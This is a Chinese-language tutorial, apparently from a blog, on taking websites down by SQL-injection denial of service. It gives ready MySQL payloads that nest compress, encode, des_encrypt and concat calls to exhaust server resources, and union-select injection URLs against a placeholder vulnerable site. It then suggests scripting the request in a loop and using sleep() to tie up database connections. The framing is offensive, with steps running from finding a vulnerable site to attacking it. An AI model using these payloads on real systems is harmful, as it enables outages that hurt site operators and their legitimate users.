在这之前,我先介绍一下此方法的思路和原理,以便让大家更好地理解这种攻击方法。我们知道,如果一个网站存在sql注入漏洞,那么我们就能让网站数据库执行我们的sql语句,并得到相应的输出(当然,有些情况下是没有回显的)。所以我们有了一个思路:构造一条足够复杂的sql语句,让数据库去执行,以此来消耗Web服务和数据库的资源,耗尽服务器资源,我们甚至也可以让数据库达到其最大连接数,让数据库不能再去回应其它合法用户的连接请求。
目前,整个思路已经很清晰了,我们可以开始构造复杂的sql语句了。
sql为我们提供了许多函数,允许我们构造足够复杂的语句来用一个极其复杂的方法去得到相应的输出结果,例如join(), like(), compress(),encode()函数等。
我们将采用以下步骤完成我们的攻击:
1. 找到一个存在注入漏洞的站点。
2. 构造我们的sql注入语句
3. 对目标网站实施sql DDOS攻击
如何寻找sql注入漏洞和构造sql语句,我之前的文章已经详细地讲过了,你可以去阅读一下。我这里假设你已经具备了相应的知识,然后继续我们的讨论。
向网站注入我们的DDOS查询语句
有许多方法可以做到这一点,你需要的是你的大脑,还有一个用来测试的网站。接着,我们来构造致命的sql语句吧。
我创建了一个500行的表,每一个字段含有500字节的数据,这实际上代表了一些论坛,博客网站的数据量。如果数据库更大一些,我们就可以找到更多数据库运行的缺陷,对这类网站实施DDOS攻击更容易成功。
我们将使用下面的payload去实施DDOS攻击,我花费了好几个小时来构造这些payload:
select tab1 from (select decode(encode(convert(compress(post) using latin1),concat(post,post,post,post)),sha1(concat(post,post,post,post))) as tab1 from table_1)a;
select tab1 from (select decode(encode(convert(compress(post) using latin1),des_encrypt(concat(post,post,post,post),8)),des_encrypt(sha1(concat(post,post,post,post)),9)) as tab1 from table_1)a;
假设这是我们所找到的存在sql注入漏洞的网站,且注入语句如下:
http://exploitable-web.com/link.php?id=1‘ union select 1,2,3,4--
我们假设第3个字段可以用来回显,我们把我们第二个payload放到第三个字段处。
http://exploitable-web.com/link.php?id=1‘ union select 1,2,(select tab1 from (select decode(encode(convert(compress(post) using latin1),des_encrypt(concat(post,post,post,post),8)),des_encrypt(sha1(concat(post,post,post,post)),9)) as tab1 from table_1)a),4--
或者
http://exploitable-web.com/link.php?id=1‘ union select 1,2,tab1,4 from (select decode(encode(convert(compress(post) using latin1),des_encrypt(concat(post,post,post,post),8)),des_encrypt(sha1(concat(post,post,post,post)),9)) as tab1 from table_1)a--
接着,我们可以写一个脚本,不断地将这条查询语句发送给网站数据库,利用这种方法,我们仅通过一个普通的连接就可以使网站瘫痪了。使用这种方法进行DDOS攻击时,我们并不需要成千上万的肉鸡。
我们也可以使用sleep语句来保持我们与网站的连接,同样达到DDOS攻击的效果。在asp.net中,默认在30秒内最多同时允许100条连接,我们可以使用sleep()持久地保持我们与网站之间的连接(可以使用脚本同时进行多条连接),这样服务器就不能正常去响应其它用户的请求。
好了,本文到这就结束了。